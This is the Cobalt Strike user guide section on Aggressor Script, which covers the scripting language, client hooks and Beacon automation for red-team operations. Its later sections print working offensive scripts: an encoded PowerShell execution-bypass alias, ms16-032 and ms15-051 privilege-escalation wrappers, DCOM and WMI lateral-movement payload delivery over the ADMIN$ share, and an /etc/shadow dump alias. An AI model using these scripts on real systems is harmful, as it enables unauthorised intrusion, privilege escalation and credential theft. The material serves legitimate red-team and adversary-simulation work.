User Guide - Part 3 (Aggressor Script)

Aggressor Script

What is Aggressor Script?

Aggressor Script is the scripting language built into Cobalt Strike, version 3.0, and later. Aggressor Script allows you to modify and extend the Cobalt Strike client.

History

Aggressor Script is the spiritual successor to Cortana, the open source scripting engine in Armitage. Cortana was made possible by a contract through DARPA’s Cyber Fast Track program. Cortana allows its users to extend Armitage and control the Metasploit Framework and its features through Armitage’s team server. Cobalt Strike 3.0 is a ground-up rewrite of Cobalt Strike without Armitage as a foundation. This change afforded an opportunity to revisit Cobalt Strike’s scripting and build something around Cobalt Strike’s features. The result of this work is Aggressor Script.

Aggressor Script is a scripting language for red team operations and adversary simulations inspired by scriptable IRC clients and bots. Its purpose is two-fold. You may create long running bots that simulate virtual red team members, hacking side-by-side with you. You may also use it to extend and modify the Cobalt Strike client to your needs.

Status

Aggressor Script is part of Cobalt Strike 3.0’s foundation. Most popup menus and the presentation of events in Cobalt Strike 3.0 are managed by the Aggressor Script engine. That said, Aggressor Script is still in its infancy. Strategic Cyber LLC has yet to build APIs for most of Cobalt Strike’s features. Expect to see Aggressor Script evolve over time. This documentation is also a work in progress.

How to Load Scripts

Aggressor Script is built into the Cobalt Strike client. To permanent load a script, go to Cobalt Strike → Script Manager and press Load.

The Script Console

Cobalt Strike provides a console to control and interact with your scripts. Through the console you may trace, profile, debug, and manage your scripts. The Aggressor Script console is available via View → Script Console .

The following commands are available in the console:

Command Arguments What it does
? foo” iswm “foobar” evaluate a sleep predicate and print result
e println(“foo”); evaluate a sleep statement
help list all of the commands available
load /path/to/script.cna load an Aggressor Script script
ls list all of the scripts loaded
proff script.cna disable the Sleep profiler for the script
profile script.cna dumps performance statistics for the script.
pron script.cna enables the Sleep profiler for the script
reload script.cna reloads the script
troff script.cna disable function trace for the script
tron script.cna enable function trace for the script
unload script.cna unload the script
x 2 + 2 evaluate a sleep expression and print result

Headless Cobalt Strike

You may use Aggressor Scripts without the Cobalt Strike GUI. The agscript program (included with the Cobalt Strike Linux package) runs the headless Cobalt Strike client. The agscript program requires four arguments:

./agscript [host] [port] [user] [password]

These arguments connect the headless Cobalt Strike client to the team server you specify. The headless Cobalt Strike client presents the Aggressor Script console.

You may use agscript to immediately connect to a team server and run a script of your choosing. Use:

./agscript [host] [port] [user] [password] [/path/to/script.cna]

This command will connect the headless Cobalt Strike client to a team server, load your script, and run it. The headless Cobalt Strike client will run your script before it synchronizes with the team server. Use on ready to wait for the headless Cobalt Strike client to finish the data synchronization step.

on ready {
   println("Hello World! I am synchronized!");
   closeClient();
}

A Quick Sleep Introduction

Aggressor Script builds on Raphael Mudge’s Sleep Scripting Language. The Sleep manual is available at http://sleep.dashnine.org/manual

Aggressor Script will do anything that Sleep does such as:

  • Sleep’s syntax, operators, and idioms are similar to the Perl scripting language. There is one major difference that catches new programmers. Sleep requires whitespace between operators and their terms. The following code is not valid:
$x=1+2; # this will not parse!!

This statement is valid though:

$x = 1 + 2;
  • Sleep variables are called scalars and scalars hold strings, numbers in various formats, Java object references, functions, arrays, and dictionaries. Here are several assignments in Sleep:
$x = "Hello World";
$y = 3;
$z = @(1, 2, 3, "four");
$a = %(a => "apple", b => "bat", c => "awesome language", d => 4);
  • Arrays and dictionaries are created with the @ and % functions. Arrays and dictionaries may reference other arrays and dictionaries. Arrays and dictionaries may even reference themselves.
  • Comments begin with a # and go until the end of the line.
  • Sleep interpolates double-quoted strings. This means that any white-space separated token beginning with a $ sign is replaced with its value. The special variable $+ concatenates an interpolated string with another value.
println("\$a is: $a and \n\$x joined with \$y is: $x $+ $y");

This will print out:

$a is: %(d => 4, b => 'bat', c => 'awesome language', a => 'apple') and 
$x joined with $y is: Hello World3
  • There’s a function called &warn. It works like &println, except it includes the current script name and a line number too. This is a great function to debug code with.
  • Sleep functions are declared with the sub keyword. Arguments to functions are labeled $1, $2, all the way up to $n. Functions will accept any number of arguments. The variable @_ is an array containing all of the arguments too. Changes to $1, $2, etc. will alter the contents of @_.
sub addTwoValues {
   println($1 + $2);
}
 
addTwoValues("3", 55.0);

This script prints out:

58.0
  • In Sleep, a function is a first-class type like any other object. Here are a few things that you may see:
$addf = &addTwoValues;
  • The $addf variable now references the &addTwoValues function. To call a function enclosed in a variable, use:
[$addf : "3", 55.0];
  • This bracket notation is also used to manipulate Java objects. I recommend reading the Sleep manual if you’re interested in learning more about this. The following statements are equivalent and they do the same thing:
[$addf : "3", 55.0];
[&addTwoValues : "3", 55.0];
[{ println($1 + $2); } : "3", 55.0];
addTwoValues("3", 55.0);
  • Sleep has three variable scopes: global, closure-specific, and local. The Sleep manual covers this in more detail. If you see local(‘$x $y $z’) in an example, it means that $x, $y, and $z are local to the current function and their values will disappear when the function returns. Sleep uses lexical scoping for its variables.

Sleep has all of the other basic constructs you’d expect in a scripting language. You should read the manual to learn more about it.

Interacting with the User

Aggressor Script displays output using Sleep’s &println, &printAll, &writeb, and &warn functions. These functions display output to the script console.

Scripts may register commands as well. These commands allow scripts to receive a trigger from the user through the console. Use the command keyword to register a command:

command foo{
   println("Hello $1"); 
}

This code snippet registers the command foo. The script console automatically parses the arguments to a command and splits them by whitespace into tokens for you. $1 is the first token, $2 is the second token, and so on. Typically, tokens are separated by spaces but users may use “double quotes” to create a token with spaces. If this parsing is disruptive to what you’d like to do with the input, use $0 to access the raw text passed to the command.

Colors

You may add color and styles to text that is output in Cobalt Strike’s consoles. The \c , \U , and \o escapes tell Cobalt Strile how to format text. These escapes are parsed inside of double-quoted strings only.

The \cX escape colors the text that comes after it. X specifies the color. Your color choices are:

The \U escape underlines the text that comes after it. A second \U stops the underline format.

The \o escape resets the format of the text that comes after it. A newline resets text formatting as well.

Cobalt Strike

The Cobalt Strike Client

The Aggressor Script engine is the glue feature in Cobalt Strike. Most Cobalt Strike dialogs and features are written as stand-alone modules that expose some interface to the Aggressor Script engine.

An internal script, default.cna, defines the default Cobalt Strike experience. This script defines Cobalt Strike’s toolbar buttons, popup menus, and it also formats the output for most Cobalt Strike events.

This chapter will show you how these features work and empower you to shape the Cobalt Strike client to your needs.

Keyboard Shortcuts

Scripts may create keyboard shortcuts. Use the bind keyword to bind a keyboard shortcut. This example shows Hello World! in a dialog box when Ctrl and H are pressed together.

bind Ctrl+H {
   show_message("Hello World!");
}

Keyboard shortcuts may be any ASCII characters or a special key. Shortcuts may have one or more modifiers applied to them. A modifier is one of: Ctrl, Shift, Alt, or Meta. Scripts may specify the modifier+key.

Popup Menus

Scripts may also add to Cobalt Strike’s menu structure or re-define it. The popup keyword builds a menu hierarchy for a popup hook.

Here’s the code that defines Cobalt Strike’s help menu:

popup help {
   item("&Homepage", { url_open("http://forum.cobaltstrike.net/"); });
   item("&Support",  { url_open("http://forum.cobaltstrike.net/support"); });
   item("&Arsenal",  { url_open("http://forum.cobaltstrike.net/scripts"); });
   separator();
   item("&Malleable C2 Profile", { openMalleableProfileDialog(); });
   item("&System Information", { openSystemInformationDialog(); });
   separator();
   item("&About", { openAboutDialog(); });
}

This script hooks into the help popup hook and defines several menu items. The & in the menu item name is its keyboard accelerator. The code block associated with each item executes when the user clicks on it.

Scripts may define menus with children as well. The menu keyword defines a new menu. When the user hovers over the menu, the block of code associated with it is executed and used to build the child menu.

Here’s the Pivot Graph menu as an example of this:

popup pgraph {
   menu "&Layout" {
      item "&Circle"    { graph_layout($1, "circle"); }
      item "&Stack"     { graph_layout($1, "stack"); }
      menu "&Tree" {
         item "&Bottom" { graph_layout($1, "tree-bottom"); }
         item "&Left"   { graph_layout($1, "tree-left"); }
         item "&Right"  { graph_layout($1, "tree-right"); }
         item "&Top"    { graph_layout($1, "tree-top"); }
      }
      separator();
      item "&None" { graph_layout($1, "none"); }
   }
}

If your script specifies a menu hierarchy for a Cobalt Strike menu hook, it will add to the menus that are already in place. Use the &popup_clear function to clear the other registered menu items and re-define a popup hierarchy to your taste.

Custom Output

The set keyword in Aggressor Script defines how to format an event and present its output to the user. Here’s an example of the set keyword:

set EVENT_SBAR_LEFT {
   return "[" . tstamp(ticks()) . "] " . mynick();
}
 
set EVENT_SBAR_RIGHT {
   return "[lag: $1 $+ ]";
}

The above code defines the content of the statusbar in Cobalt Strike’s Event Log ( View → Event Log ). The left side of this statusbar shows the current time and your nickname. The right side shows the round-trip time for a message between your Cobalt Strike client and the team server.

You may override any set option in the Cobalt Strike default script. Create your own file with definitions for events you care about. Load it into Cobalt Strike. Cobalt Strike will use your definitions over the built-in ones.

Events

Use the on keyword to define a handler for an event. The ready event fires when Cobalt Strike is connected to the team server and ready to act on your behalf.

on ready {
   show_message("Ready for action!");
}

Cobalt Strike generates events for a variety of situations. Use the * meta-event to watch all events Cobalt Strike fires.

on * {
   local('$handle $event $args');
 
   $event = shift(@_);
   $args  = join(" ", @_);
 
   $handle = openf(">>eventspy.txt");
   writeb($handle, "[ $+ $event $+ ] $args");
   closef($handle);
}

Data Model

Cobalt Strike’s team server stores your hosts, services, credentials, and other information. It also broadcasts this information and makes it available to all clients.

Data API

Use the &data_query function to query Cobalt Strike’s data model. This function has access to all state and information maintained by the Cobalt Strike client. Use &data_keys to get a list of the different pieces of data you may query. This example queries all data in Cobalt Strike’s data model and exports it to a text file:

command export {
   local('$handle $model $row $entry $index');
   $handle = openf(">export.txt");
 
   foreach $model (data_keys()) {
      println($handle, "== $model ==");
      println($handle, data_query($model));
   }
 
   closef($handle);
 
   println("See export.txt for the data.");
}

Cobalt Strike provides several functions that make it more intuitive to work with the data model.

Model Function Description
applications &applications System Profiler Results [ View → Applications ]
archives &archives Engagement events/activities
beacons &beacons Active beacons
credentials &credentials Usernames, passwords, etc.
downloads &downloads Downloaded files
keystrokes &keystrokes Keystrokes received by Beacon
screenshots &screenshots Screenshots captured by Beacon
services &services Services and service information
sites &sites Assets hosted by Cobalt Strike
socks &pivots SOCKS proxy servers and port forwards
targets &targets Hosts and host information

These functions return an array with one row for each entry in the data model. Each entry is a dictionary with different key/value pairs that describe the entry.

The best way to understand the data model is to explore it through the Aggressor Script console. Go to View → Script Console and use the x command to evaluate an expression. For example:

Use on DATA_KEY to subscribe to changes to a specific data model.

on keystrokes {
   println("I have new keystrokes: $1");
}

Listeners

Listeners are Cobalt Strike’s abstraction on top of payload handlers. A listener is a name attached to payload configuration information (e.g., protocol, host, port, etc.) and, in some cases, a promise to setup a server to receive connections from the described payload.

Listener API

Aggressor Script aggregates listener information from all of the team servers you’re currently connected to. This makes it easy to pass sessions to another team server. To get a list of all listener names, use the &listeners function. If you would like to work with local listeners only, use &listeners_local. The &listener_info function resolves a listener name to its configuration information. This example dumps all listeners and their configuration to the Aggressor Script console:

command listeners {
   local('$name $key $value');
   foreach $name (listeners()) {
      println("== $name == ");
      foreach $key => $value (listener_info($name)) {
         println("$[20]key : $value");
      }
   }
}

Creating Listeners

Use &listener_create_ext to create a listener and start a payload handler associated with it.

Choosing Listeners

Use &openPayloadHelper to open a dialog that lists all available listeners. After the user selects a listener, this dialog will close, and Cobalt Strike will run a callback function. Here’s the source code for Beacon’s spawn menu:

item "&Spawn" {
   openPayloadHelper(lambda({
      binput($bids, "spawn $1");
      bspawn($bids, $1);
   }, $bids => $1));
}

Stagers

A stager is a tiny program that downloads a payload and passes execution to it. Stagers are ideal for size-constrained payload delivery vector (e.g., a user-driven attack, a memory corruption exploit, or a one-liner command. Stagers do have downsides though. They introduce an additional component to your attack chain that is possible to disrupt. Cobalt Strike’s stagers are based on the stagers in the Metasploit Framework and these are well-signatured and understood in memory as well. Use payload-specific stagers if you must; but it’s best to avoid them otherwise.

Use &stager to export a payload stager tied to a Cobalt Strike payload. Not all payload options have an explicit payload stager. Not all stagers have x64 options.

The &artifact_stager function will export a PowerShell script, executable, or DLL that runs a stager associated with a Cobalt Strike payload.

Local Stagers

For post-exploitation actions that require the use of a stager, use a localhost-only bind_tcp stager. The use of this stager allows a staging-required post-exploitation action to work with all of Cobalt Strike’s payloads equally.

Use &stager_bind_tcp to export a bind_tcp payload stager. Use &beacon_stage_tcp to deliver a payload to this stager.

&artifact_general will accept this arbitrary code and generate a PowerShell script, executable, or DLL to host it.

Named Pipe Stager

Cobalt Strike does have a bind_pipe stager that is useful for some lateral movement situations. This stager is x86 only. Use &stager_bind_pipe to export this bind_pipe stager. Use &beacon_stage_pipe to deliver a payload to this stager.

&artifact_general will accept this arbitrary code and generate a PowerShell script, executable, or DLL to host it.

Stageless Payloads

Use &payload to export a Cobalt Strike payload (in its entirety) as a ready-to-run position-independent program.

&artifact_payload will export a PowerShell script, executable, or DLL that containts this payload.

Beacon

Beacon is Cobalt Strike’s asynchronous post-exploitation agent. In this chapter, we will explore options to automate Beacon with Cobalt Strike’s Aggressor Script.

Metadata

Cobalt Strike assigns a session ID to each Beacon. This ID is a random number. Cobalt Strike associates tasks and metadata with each Beacon ID. Use &beacons to query metadata for all current Beacon sessions. Use &beacon_info to query metadata for a specific Beacon session. Here’s a script to dump information about each Beacon session:

command beacons {
   local('$entry $key $value');
   foreach $entry (beacons()) {
      println("== " . $entry['id'] . " ==");
      foreach $key => $value ($entry) {
         println("$[20]key : $value");
      }
      println();
   }
}

Aliases

You may define new Beacon commands with the alias keyword. Here’s a hello alias that prints Hello World in a Beacon console.

alias hello {
   blog($1, "Hello World!");
}

Put the above into a script, load it into Cobalt Strike, and type hello inside of a Beacon console. Type hello and press enter. Cobalt Strike will even tab complete your aliases for you. You should see Hello World! in the Beacon console.

You may also use the &alias function to define an alias.

Cobalt Strike passes the following arguments to an alias: $0 is the alias name and arguments without any parsing. $1 is the ID of the Beacon the alias was typed from. The arguments $2 and on contain an individual argument passed to the alias. The alias parser splits arguments by spaces. Users may use “double quotes” to group words into one argument.

alias saywhat {
   blog($1, "My arguments are: " . substr($0, 8) . "\n");
}

You may also register your aliases with Beacon’s help system. Use &beacon_command_register to register a command.

Aliases are a convenient way to extend Beacon and make it your own. Aliases also play well into Cobalt Strike’s threat emulation role. You may use aliases to script complex post-exploitation actions in a way that maps to another actor’s tradecraft. Your red team operators simply need to load a script, learn the aliases, and they can operate with your scripted tactics in a way that’s consistent with the actor you’re emulating.

Reacting to new Beacons

A common use of Aggressor Script is to react to new Beacons. Use the beacon_initial event to setup commands that should run when a Beacon checks in for the first time.

on beacon_initial {
   # do some stuff
}

The $1 argument to beacon_initial is the ID of the new Beacon.

The beacon_initial event fires when a Beacon reports metadata for the first time. This means a DNS Beacon will not fire beacon_initial until its asked to run a command. To interact with a DNS Beacon that calls home for the first time, use the beacon_initial_empty event.

# some sane defaults for DNS Beacon
on beacon_initial_empty {
   bmode($1, "dns-txt");
   bcheckin($1);
}

Popup Menus

You may also add on to Beacons popup menu. Aliases are nice, but they only affect one Beacon at a time. Through a popup menu, your script’s users may task multiple Beacons to take the desired action at one time.

The beacon_top and beacon_bottom popup hooks let you add to the default Beacon menu. The argument to the Beacon popup hooks is an array of selected Beacon IDs.

popup beacon_bottom {
   item "Run All..." {
      prompt_text("Which command to run?", "whoami /groups", lambda({
         binput(@ids, "shell $1");
         bshell(@ids, $1);
      }, @ids => $1));
   }
}

The Logging Contract

Cobalt Strike 3.0 and later do a decent job of logging. Each command issued to a Beacon is attributed to an operator with a date and timestamp. The Beacon console in the Cobalt Strike client handles this logging. Scripts that execute commands for the user do not record commands or operator attribution to the log. The script is responsible for doing this. Use the &binput function to do this. This command will post a message to the Beacon transcript as if the user had typed a command.

Acknowledging Tasks

Custom aliases should call the &btask function to describe the action the user asked for. This output is sent to the Beacon log and it’s also used in Cobalt Strike’s reports. Most Aggressor Script functions that issue a task to Beacon will print their own acknowledgement message. If you’d like to suppress this, add ! to the function name. This will run the quiet variant of the function. A quiet function does not print a task acknowledgement. For example, &bshell! is the quiet variant of &bshell.

alias survey {
   btask($1, "Surveying the target!", "T1082");
   bshell!($1, "echo Groups && whoami /groups");
   bshell!($1, "echo Processes && tasklist /v");
   bshell!($1, "echo Connections && netstat -na | findstr \"EST\"");
   bshell!($1, "echo System Info && systeminfo");
}

The last argument to &btask is a comma-separated list of ATT&CK techniques. T1082 is System Information Discovery. ATT&CK is a project from the MITRE Corporation to categorize and document attacker actions. Cobalt Strike uses these techniques to build its Tactics, Techniques, and Procedures report. You may learn more about MITRE’s ATT&CK matrix at:

https://attack.mitre.org/

Conquering the Shell

Aliases may override existing commands. Here’s an Aggressor Script implementation of Beacon’s powershell command:

alias powershell {
   local('$args $cradle $runme $cmd');
   
   # $0 is the entire command with no parsing.
   $args   = substr($0, 11);
   
   # generate the download cradle (if one exists) for an imported PowerShell script
   $cradle = beacon_host_imported_script($1);
   
   # encode our download cradle AND cmdlet+args we want to run
   $runme  = base64_encode( str_encode($cradle . $args, "UTF-16LE") );
   
   # Build up our entire command line.
   $cmd    = " -nop -exec bypass -EncodedCommand \" $+ $runme $+ \"";
   
   # task Beacon to run all of this.
   btask($1, "Tasked beacon to run: $args", "T1086");
   beacon_execute_job($1, "powershell", $cmd, 1);
}

This alias defines a powershell command for use within Beacon. We use $0 to grab the desired PowerShell string without any parsing. It’s important to account for an imported PowerShell script (if the user imported one with powershell-import). We use &beacon_host_imported_script for this. This function tasks Beacon to host an imported script on a one-off webserver bound to localhost. It also returns a string with the PowerShell download cradle that downloads and evaluates the imported script. The -EncodedCommand flag in PowerShell accepts a script as a base64 string. There’s one wrinkle. We must encode our string as little endian UTF16 text. This alias uses &str_encode to do this. The &btask call logs this run of PowerShell and associates it with tactic T1086. The &beacon_execute_job function tasks Beacon to run powershell and report its output back to Beacon.

Similarly, we may re-define the shell command in Beacon too. This alias creates an alternate shell command that hides your Windows commands in an environment variable.

alias shell {
   local('$args');
   $args = substr($0, 6);
   btask($1, "Tasked beacon to run: $args (OPSEC)", "T1059");
   bsetenv!($1, "_", $args);
   beacon_execute_job($1, "%COMSPEC%", " /C %_%", 0);
}

The &btask call logs our intention and associates it with tactic T1059. The &bsetenv assigns our Windows command to the environment variable . The script uses ! to suppress &bsetenv’s task acknowledgement. The &beacon_execute_job function runs %COMSPEC% with argumnents /C %_% . This works because &beacon_execute_job will resolve environment variables in the command parameter. It does not resolve environment variables in the argument parameter. Because of this, we can use %COMSPEC% to locate the user’s shell, but pass %% as an argument without immediate interpolation.

Privilege Escalation (Run a Command)

Beacon’s runasadmin command attempts to run a command in an elevated context. This command accepts an elevator name and a command (command AND arguments :)). The &beacon_elevator_register function makes a new elevator available to runasadmin…

beacon_elevator_register("ms16-032", "Secondary Logon Handle Privilege Escalation (CVE-2016-099)", &ms16_032_elevator);

This code registers the elevator ms16-032 with Beacon’s runasadmin command. A description is given as well. When the user types runasadmin ms16-032 notepad.exe , Cobalt Strike will run &ms16_032_elevator with these arguments: $1 is the beacon session ID. $2 is the command and arguments. Here’s the &ms16_032_elevator function:

# Integrate ms16-032
# Sourced from Empire: https://github.com/EmpireProject/Empire/tree/master/data/module_source/privesc
sub ms16_032_elevator {
   local('$handle $script $oneliner');
   
   # acknowledge this command
   btask($1, "Tasked Beacon to execute $2 via ms16-032", "T1068");
   
   # read in the script
   $handle = openf(getFileProper(script_resource("modules"), "Invoke-MS16032.ps1"));
   $script = readb($handle, -1);
   closef($handle);
   
   # host the script in Beacon
   $oneliner = beacon_host_script($1, $script);
   
   # run the specified command via this exploit.
   bpowerpick!($1, "Invoke-MS16032 -Command \" $+ $2 $+ \"", $oneliner);
}

This function uses &btask to acknowledge the action to the user. The description in &btask will go in Cobalt Strike’s logs and reports as well. T1068 is the MITRE ATT&CK technique that corresponds to this action.

The end of this function uses &bpowerpick to run Invoke-MS16032 with an argument to run our command. The PowerShell script that implements Invoke-MS16032 is too large for a one-liner though. To mitigate this, the elevator function uses &beacon_host_script to host the large script within Beacon. The &beacon_host_script function returns a one-liner to grab this hosted script and evaluate it.

The exclamation point after &bpowerpick tells Aggressor Script to call the quiet variants of this function. Quiet functions do not print a task description.

There’s not much else to describe here. A command elevator script just needs to run a command. :slight_smile:

Privilege Escalation (Spawn a Session)

Beacon’s elevate command attempts to spawn a new session with elevated privileges. This command accepts an exploit name and a listener. The &beacon_exploit_register function makes a new exploit available to elevate .

beacon_exploit_register("ms15-051", "Windows ClientCopyImage Win32k Exploit (CVE 2015-1701)", &ms15_051_exploit);

This code registers the exploit ms15-051 with Beacon’s elevate command. A description is given as well. When the user types elevate ms15-051 foo , Cobalt Strike will run &ms15_051_exploit with these arguments: $1 is the beacon session ID. $2 is the listener name (e.g., foo). Here’s the &ms15_051_exploit function:

# Integrate windows/local/ms15_051_client_copy_image from Metasploit
# https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/local/ms15_051_client_copy_image.rb
sub ms15_051_exploit {
      local('$stager $arch $dll');

   # acknowledge this command
   btask($1, "Task Beacon to run " . listener_describe($2) . " via ms15-051", "T1068");

   # tune our parameters based on the target arch
   if (-is64 $1) {
      $arch   = "x64";
      $dll    = getFileProper(script_resource("modules"), "cve-2015-1701.x64.dll");
   }
   else {
      $arch   = "x86";
      $dll    = getFileProper(script_resource("modules"), "cve-2015-1701.x86.dll");
   }

   # generate our shellcode
   $stager = payload($2, $arch);

   # spawn a Beacon post-ex job with the exploit DLL
   bdllspawn!($1, $dll, $stager, "ms15-051", 5000);

   # link to our payload if it's a TCP or SMB Beacon
   beacon_link($1, $null, $2);
}

This function uses &btask to acknowledge the action to the user. The description in &btask will go in Cobalt Strike’s logs and reports as well. T1068 is the MITRE ATT&CK technique that corresponds to this action.

This function repurposes an exploit from the Metasploit Framework. This exploit is compiled as cve-2015-1701.[arch].dll with x86 and x64 variants. This function’s first task is to read the exploit DLL that corresponds to the target system’s architecture. The -is64 predicate helps with this.

The &payload function generates raw output for our listener name and the specified architecture.

The &bdllspawn function spawns a temporary process, injects our exploit DLL into it, and passes our exported payload as an argument. This is the contract the Metasploit Framework uses to pass shellcode to its privilege escalation exploits implemented as Reflective DLLs.

Finally, this function calls &beacon_link. If the target listener is an SMB or TCP Beacon payload, &beacon_link will attempt to connect to it.

Lateral Movement (Run a Command)

Beacon’s remote-exec command attempts to run a command on a remote target. This command accepts a remote-exec method, a target, and a command + arguments. The &beacon_remote_exec_method_register function is both a really long function name and makes a new method available to remote-exec.

beacon_remote_exec_method_register("com-mmc20", "Execute command via MMC20.Application COM Object", &mmc20_exec_method);

This code registers the remote-exec method com-mmc20 with Beacon’s remote-exec command. A description is given as well. When the user types remote-exec com-mmc20 c:\windows\temp\malware.exe , Cobalt Strike will run &mmc20_exec_method with these arguments: $1 is the beacon session ID. $2 is the target. $3 is the command and arguments. Here’s the &mmc20_exec_method function:

sub mmc20_exec_method {
   local('$script $command $args');

   # state what we're doing.
   btask($1, "Tasked Beacon to run $3 on $2 via DCOM", "T1175");

   # separate our command and arguments
   if ($3 ismatch '(.*?) (.*)') {
      ($command, $args) = matched();
   }
   else {
      $command = $3;
      $args    = "";
   }
    
   # build script that uses DCOM to invoke ExecuteShellCommand on MMC20.Application object
   $script  = '[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "';
   $script .= $2;
   $script .=  '")).Document.ActiveView.ExecuteShellCommand("';
   $script .= $command;
   $script .= '", $null, "';   
   $script .= $args;
   $script .= '", "7");';

   # run the script we built up
   bpowershell!($1, $script, "");
}

This function uses &btask to acknowledge the task and describe it to the operator (and logs and reports). T1175 is the MITRE ATT&CK technique that corresponds to this action. If your offense technique does not fit into MITRE ATT&CK, don’t fret. Some customers are very much ready for a challenge and benefit when their red team creatively deviates from what are known offense techniques. Do consider writing a blog post about it for the rest of us later.

This function then splits the $3 argument into command and argument portions. This is done because the technique requires that these values are separate.

Afterwards, this function builds up a PowerShell command string that looks like this:

[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "TARGETHOST")).Document.ActiveView.ExecuteShellCommand("c:\windows\temp\a.exe", $null, "", "7");

This command uses the MMC20.Application COM object to execute a command on a remote target. This method was discovered as a lateral movement option by Matt Nelson:

https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/

This function uses &bpowershell to run this PowerShell script. The second argument is an empty string to suppress the default downcradle cradle (if the operator ran powershell-import previously). If you prefer, you could modify this example to use &bpowerpick to run this one-liner without powershell.exe.

This example is one of the major motivators for me to add the remote-exec command and API to Cobalt Strike. This is an excellent “execute this command” primitive, but end-to-end weaponization (spawning a session) usually includes using this primitive to run a PowerShell one-liner on target. For a lot of reasons, this is not the right choice in many engagements. Exposing this primitive through the remote-exec interface gives you choice about how to best make use of this capability (without forcing choices you don’t want made for you).

Lateral Movement (Spawn a Session)

Beacon’s jump command attempts to spawn a new session on a remote target. This command accepts an exploit name, a target, and a listener. The &beacon_remote_exploit_register function makes a new module available to jump .

beacon_remote_exploit_register("wmi", "x86", "Use WMI to run a Beacon payload", lambda(&wmi_remote_spawn, $arch => "x86"));
beacon_remote_exploit_register("wmi64", "x64", "Use WMI to run a Beacon payload", lambda(&wmi_remote_spawn, $arch => "x64"));

The above functions register wmi and wmi64 options for use with the jump command. The &lambda function makes a copy of &wmi_remote_spawn and sets $arch as a static variable scoped to that function copy. Using this method, we’re able to use the same logic to present two lateral movement options from one implementation. Here’s the &wmi_remote_spawn function:

# $1 = bid, $2 = target, $3 = listener
sub wmi_remote_spawn {
   local('$name $exedata');

   btask($1, "Tasked Beacon to jump to $2 (" . listener_describe($3) . ") via WMI", "T1047");

   # we need a random file name.
   $name = rand(@("malware", "evil", "detectme")) . rand(100) . ".exe";

   # generate an EXE. $arch defined via &lambda when this function was registered with
   # beacon_remote_exploit_register
   $exedata = artifact_payload($3, "exe", $arch);

   # upload the EXE to our target (directly)
   bupload_raw!($1, "\\\\ $+ $2 $+ \\ADMIN\$\\ $+ $name", $exedata);

   # execute this via WMI
   brun!($1, "wmic /node:\" $+ $2 $+ \" process call create \"\\\\ $+ $2 $+ \\ADMIN\$\\ $+ $name $+ \"");

   # assume control of our payload (if it's an SMB or TCP Beacon)
   beacon_link($1, $2, $3);
}

The &btask function fulfills our obligation to log what the user intended to do. The T1047 argument associates this action with Tactic 1047 in MITRE’s ATT&CK matrix.

The &artfiact_payload function generates a stageless artifact to run our payload. It uses the Artifact Kit hooks to generate this file.

The &bupload_raw function uploads the artifact data to the target. This function uses \target\ADMIN$\filename.exe to directly write the EXE to the remote target via an admin-only share.

&brun runs wmic /node:“target” process call create “\target\ADMIN$\filename.exe” to execute the file on the remote target.

&beacon_link assumes control of the payload, if it’s an SMB or TCP Beacon.

SSH Sessions

Cobalt Strike’s SSH client speaks the SMB Beacon protocol and implements a sub-set of Beacon’s commands and functions. From the perspective of Aggressor Script, an SSH session is a Beacon session with fewer commands.

What type of session is it?

Much like Beacon sessions, SSH sessions have an ID. Cobalt Strike associates tasks and metadata with this ID. The &beacons function will also return information about all Cobalt Strike sessions (SSH sessions AND Beacon sessions). Use the -isssh predicate to test if a session is an SSH session. The -isbeacon predicate tests if a session is a Beacon session.

Here’s a function to filter &beacons to SSH sessions only:

sub ssh_sessions {
   return map({
      if (-isssh $1['id']) {
         return $1;
      }
      else {
         return $null;
      }
   }, beacons());
}

Aliases

You may add commands to the SSH console with the ssh_alias keyword. Here’s a script to alias hashdump to grab /etc/shadow if you’re an admin.

ssh_alias hashdump {
   if (-isadmin $1) {
      bshell($1, "cat /etc/shadow");
   }
   else {
      berror($1, "You're (probably) not an admin");
   }
}

Put the above into a script, load it into Cobalt Strike, and type hashdump inside of an SSH console. Cobalt Strike will tab complete SSH aliases too.

You may also use the &ssh_alias function to define an SSH alias.

Cobalt Strike passes the following arguments to an alias: $0 is the alias name and arguments without any parsing. $1 is the ID of the session the alias was typed from. The arguments $2 and on contain an individual argument passed to the alias. The alias parser splits arguments by spaces. Users may use “double quotes” to group words into one argument.

You may also register your aliases with the SSH console’s help system. Use &ssh_command_register to register a command.

Reacting to new SSH Sessions

Aggressor Scripts may react to new SSH sessions too. Use the ssh_initial event to setup commands that should run when a SSH session becomes available.

on ssh_initial {
   # do some stuff
}

The $1 argument to ssh_initial is the ID of the new session.

Popup Menus

You may also add on to the SSH popup menu. The ssh popup hook lets you add items to the SSH menu. The argument to the SSH popup menu is an array of selected session IDs.

popup ssh {
   item "Run All..." {
      prompt_text("Which command to run?", "w", lambda({
         binput(@ids, "shell $1");
         bshell(@ids, $1);
      }, @ids => $1));
   }
}

You’ll notice that this example is very similar to the example used in the Beacon chapter. For example, I use &binput to publish input to the SSH console. I use &bshell to task the SSH session to run a command. This is all correct. Remember, internally, an SSH session is a Beacon session as far as most of Cobalt Strike/Aggressor Scriopt is concerned.

Other Topics

Cobalt Strike operators and scripts communicate global events to the shared event log. Aggressor Scripts may respond to this information too. The event log events begin with event_ . To list for global notifications, use the event_notify hook.

on event_notify {
   println("I see: $1");
}

To post a message to the shared event log, use the &say function.

say("Hello World");

To post a major event or notification (not necessarily chit-chat), use the &elog function. The deconfliction server will automatically timestamp and store this information. This information will also show up in Cobalt Strike’s Activity Report.

elog("system shutdown initiated");

Timers

If you’d like to execute a task periodically, then you should use one of Aggressor Script’s timer events. These events are heartbeat_X, where X is 1s, 5s, 10s, 15s, 30s, 1m, 5m, 10m, 15m, 20m, 30m, or 60m.

on heartbeat_10s {
   println("I happen every 10 seconds");
}

Dialogs

Aggressor Script provides several functions to present and request information from the user. Use &show_message to prompt the user with a message. Use &show_error to prompt the user with an error.

bind Ctrl+M {
   show_message("I am a message!");
}

Use &prompt_text to create a dialog that asks the user for text input.

prompt_text("What is your name?", "Joe Smith", {
   show_message("Please $1 $+ , pleased to meet you");
});

The &prompt_confirm function is similar to &prompt_text, but instead it asks a yes/no question.

Custom Dialogs

